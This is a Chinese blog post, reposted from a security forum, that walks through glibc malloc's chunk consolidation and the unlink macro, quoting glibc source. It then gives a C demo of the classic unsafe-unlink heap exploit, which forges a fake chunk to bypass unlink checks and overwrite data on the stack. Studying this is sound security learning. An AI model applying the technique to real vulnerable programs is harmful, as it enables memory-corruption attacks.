Glibc堆块的向前向后合并与unlink原理机制探究

忘是亡心i 2022-01-16 23:47 488阅读 0赞

原文地址：[https://bbs.ichunqiu.com/thread-46614-1-1.html?from=snew][https_bbs.ichunqiu.com_thread-46614-1-1.html_from_snew]

玩pwn有一段时间了，最近有点生疏了，调起来都不顺手了，所以读读malloc源码回炉一点一点总结反思下。

Unlink是把free掉的chunk从所属的bins链中，卸下来的操作（当然还包括一系列的检测机制），它是在free掉一块chunk(除fastbin大小的chunk外）之后，glibc检查这块chunk相邻的上下两块chunk的free状态之后，做出的**向后合并**或者**向前合并**引起的。

## 向前、向后合并 ##

p是指向free掉的chunk的指针（注意不是指向data的指针，是chunk），size是这块chunk的size。

/* consolidate backward */
    4277            if (!prev_inuse(p)) {
        
    4278              prevsize = prev_size (p);
    4279              size += prevsize;
    4280              p = chunk_at_offset(p, -((long) prevsize));
    4281              unlink(av, p, bck, fwd);
    4282            }
    4283        
    4284            if (nextchunk != av->top) {
        
    4285              /* get and clear inuse bit */
    4286              nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
    4287        
    4288              /* consolidate forward */
    4289              if (!nextinuse) {
        
    4290                unlink(av, nextchunk, bck, fwd);
    4291                size += nextsize;
    4292              } else
    4293                clear_inuse_bit_at_offset(nextchunk, 0);
    4294
    4295              /*
    4296                Place the chunk in unsorted chunk list. Chunks are
    4297                not placed into regular bins until after they have
    4298                been given one chance to be used in malloc.
    4299              */
    4300        
    4301              bck = unsorted_chunks(av);
    4302              fwd = bck->fd;
    4303              if (__glibc_unlikely (fwd->bk != bck))
    4304                malloc_printerr ("free(): corrupted unsorted chunks");
    4305              p->fd = fwd;
    4306              p->bk = bck;
    4307              if (!in_smallbin_range(size))
    4308                {
        
    4309                  p->fd_nextsize = NULL;
    4310                  p->bk_nextsize = NULL;
    4311                }
    4312              bck->fd = p;
    4313              fwd->bk = p;
    4314        
    4315              set_head(p, size | PREV_INUSE);
    4316              set_foot(p, size);
    4317        
    4318              check_free_chunk(av, p);
    4319            }
    4320        
    4321            /*
    4322              If the chunk borders the current high end of memory,
    4323              consolidate into top
    4324            */
    4325        
    4326            else {
        
    4327              size += nextsize;
    4328              set_head(p, size | PREV_INUSE);
    4329              av->top = p;
    4330              check_chunk(av, p);
    4331            }

## 向后合并 ##

向后合并部分的代码在4277-4282行

向后合并流程：

*  **检查p指向chunk的size字段的pre\_inuse位，是否为0（也就是检查当前chunk的前一块chunk是否是free的，如果是则进入向前合并的流程)**
 *  **获取前一块chunk的size，并加到size中（以此来表示size大小上已经合并）**
 *  **根据当前chunk的presize来获得指向前一块chunk的指针**
 *  **将这个指针传入unlink的宏（也就是让free掉的chunk的前一块chunk进入到unlink流程）**

## 向前合并 ##

如果free掉的chunk相邻的下一块chunk(下面用nextchunk表示，并且nextsize表示它的大小)不是topchunk,并且是free的话就进入向前合并的流程。（见代码4284-4289行）

如果nextchunk不是free的，则修改他的size字段的pre\_inuse位。  
如果nextchunk是topchunk则和topchunk进行合并。

ps:检测nextchunk是否free，是通过\*inuse\_bit\_at\_offset(nextchunk, nextsize)\*来获得nextchunk的相邻下一块chunk的size字段的presize位实现的。

向前合并流程（见代码4290-4291）：

*  **让nextchunk进入unlink流程**
 *  **给size加上nextsize（同理也是表示大小上两个chunk已经合并了）**

## unlink ##

unlink是个宏，但是在读代码的时候请把**bk和fd**当作变量。

ps:p是指向chunk的指针。

#define unlink(AV, P, BK, FD) {                                            
                if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      
                  malloc_printerr ("corrupted size vs. prev_size");                              
                FD = P->fd;                                                                      
                BK = P->bk;                                                                      
                if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      
                  malloc_printerr ("corrupted double-linked list");                              
                else {
                                                                              
                    FD->bk = BK;                                                              
                    BK->fd = FD;                                                              
                    if (!in_smallbin_range (chunksize_nomask (P))                             
                        && __builtin_expect (P->fd_nextsize != NULL, 0)) {
                              
                        if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              
                            || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    
                          malloc_printerr ("corrupted double-linked list (not small)");   
                        if (FD->fd_nextsize == NULL) {
                                              
                            if (P->fd_nextsize == P)                                      
                              FD->fd_nextsize = FD->bk_nextsize = FD;                      
                            else {
                                                                      
                                FD->fd_nextsize = P->fd_nextsize;                              
                                FD->bk_nextsize = P->bk_nextsize;                              
                                P->fd_nextsize->bk_nextsize = FD;                              
                                P->bk_nextsize->fd_nextsize = FD;                              
                              }                                                              
                          } else {
                                                                      
                            P->fd_nextsize->bk_nextsize = P->bk_nextsize;                      
                            P->bk_nextsize->fd_nextsize = P->fd_nextsize;                      
                          }                                                                                   }                                                                      \
                  }                                                                              
            }

*  **检查当前chunk的size字段与它相邻的下一块chunk中记录的pre\_size是否一样**如果不一样，就出现**corrupted size vs. prev\_size**的错误
 *  **检查是否满足p->fd->bkp和p->bk->fdp**，否则出现**corrupted double-linked list**，错误。
 *  **解链操作：fd->bk=bk和bk->fd=fd**(学过循环双链表的都能看懂吧）
    
    这里配上一张CTFwiki的图:

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70]

*  **接下来的代码其实是对largechunk的一系列检测和处理机制，这里可以不用管**,一般实战利用的时候都是对smallchunk进行利用的。

以上就是unlink的操作，本质上就是从glibc管理的bin链中解链以及解链前的安全检查（防止被利用）

那unlink之后又做了什么呢？

## 整理chunk结构并放入unsortedbin当中 ##

不管是向前合并还是向后合并，unlink后都会来到4301-4318行。

**其实做的是，将合并好的chunk加入到unsorted bin中第一个**

并且如果这个chunk是samll chunk大小的话它是没有fd\_nextsize和bk\_nextsize的

然后就设置合并过后的chunk的头部（设置合并过后的size,已经合并形成的chunk的下一块chunk的pre\_size字段）

## unlink Demo调试验证 ##

理论上面已经谈过了，but\*\*Talk is cheap,Debug is real!\*\*先来个小demo结合上面的原理感受下。

#include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdio.h>
    
    struct chunk_structure {
        
      size_t prev_size;
      size_t size;
      struct chunk_structure *fd;
      struct chunk_structure *bk;
      char buf[10];               // padding
    };
    
    int main() {
        
      unsigned long long *chunk1, *chunk2;
      struct chunk_structure *fake_chunk, *chunk2_hdr;
      char data[20];
    
      // First grab two chunks (non fast)
      chunk1 = malloc(0x80);
      chunk2 = malloc(0x80);
      printf("%p\n", &chunk1);
      printf("%p\n", chunk1);
      printf("%p\n", chunk2);
    
      // Assuming attacker has control over chunk1's contents
      // Overflow the heap, override chunk2's header
    
      // First forge a fake chunk starting at chunk1
      // Need to setup fd and bk pointers to pass the unlink security check
      fake_chunk = (struct chunk_structure *)chunk1;
      fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
      fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
    
      // Next modify the header of chunk2 to pass all security checks
      chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
      chunk2_hdr->prev_size = 0x80;  // chunk1's data region size
      chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit
    
      // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
      // This results in chunk1 pointer pointing to chunk1 - 3
      // i.e. chunk1[3] now contains chunk1 itself.
      // We then make chunk1 point to some victim's data
      free(chunk2);
      printf("%p\n", chunk1);
      printf("%x\n", chunk1[3]);
    
      chunk1[3] = (unsigned long long)data;
    
      strcpy(data, "Victim's data");
    
      // Overwrite victim's data using chunk1
      chunk1[0] = 0x002164656b636168LL;
    
      printf("%s\n", data);
    
      return 0;
    }

ps:\*\*在这个Demo中假定chun1的数据内容是被攻击者可控的并且可以溢出修改到下面一个chunk

**先malloc两个chunk，然后看看他们的地址**

**然后在chunk1中伪造一个chunk,使得fake\_chunk->fd->bkfakechunk和fake\_chunk->bd->fdfake\_chunk来避过corrupted double-linked list检测。**  
因为要使得fake\_chunk->fd—>bk==fakechunk的话，要使得fake\_chunk->fd里面存的是存有chunk1的地址的变量往上偏移0x18,同理fake\_chunk->bk也是要网上偏移0x10的。

![在这里插入图片描述][20190612160320185.png]

然后修改好chunk2的presize字段为0x80就是chunk1的数据大小（用来避过corrupted size vs.  
prev\_size检测的），和size字段的preinuse位为0（），从而达到欺骗glibc的机制，让它一位chunk2的前一块chunk（也就是chunk1）是free的，并且满足unlink所有的安全机制。这时候free掉chunk2的话就会触发向后合并。

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 1]

看一看chunk1和chunk2的情况。以及完全构造好了。接下来就是free(chunk2)触发unlink。触发之后

![在这里插入图片描述][20190612160337777.png]

chunk1的内容变成了&chunk1-3了。

这是因为fake\_chunk->bk->fd=fake\_chunk->fd,前面已经讲过fake\_chunk->bk->fd指的是chunk1,而fake\_chunk->fd指的是&chunk1-0x10.所以一unlink过后,chunk1里边存的是&chunk1-0x10的地址。  
看看里边的内容：

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 2]

画线的地方是chunk2存的内容，无疑是栈上的东西了。而它前一个8字节存的就是chunk1存的地址0x00007fffffffdcb8,对吧自己算算地址，不就是&chunk1-0x18了么。

[https_bbs.ichunqiu.com_thread-46614-1-1.html_from_snew]: https://bbs.ichunqiu.com/thread-46614-1-1.html?from=snew
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70]: /images/20220117/3e187cf3a1094d4ca7da2a4e66ff06b7.png
[20190612160320185.png]: /images/20220117/708bd2738002413698db6fd3702d799b.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 1]: /images/20220117/d56d3dcfe0274b40837617ebd9e40107.png
[20190612160337777.png]: /images/20220117/d31d3306385c40bdabbade6a69244329.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80NDMwNDY4Ng_size_16_color_FFFFFF_t_70 2]: /images/20220117/fe875fb212c44094be9fd43b263ea2ac.png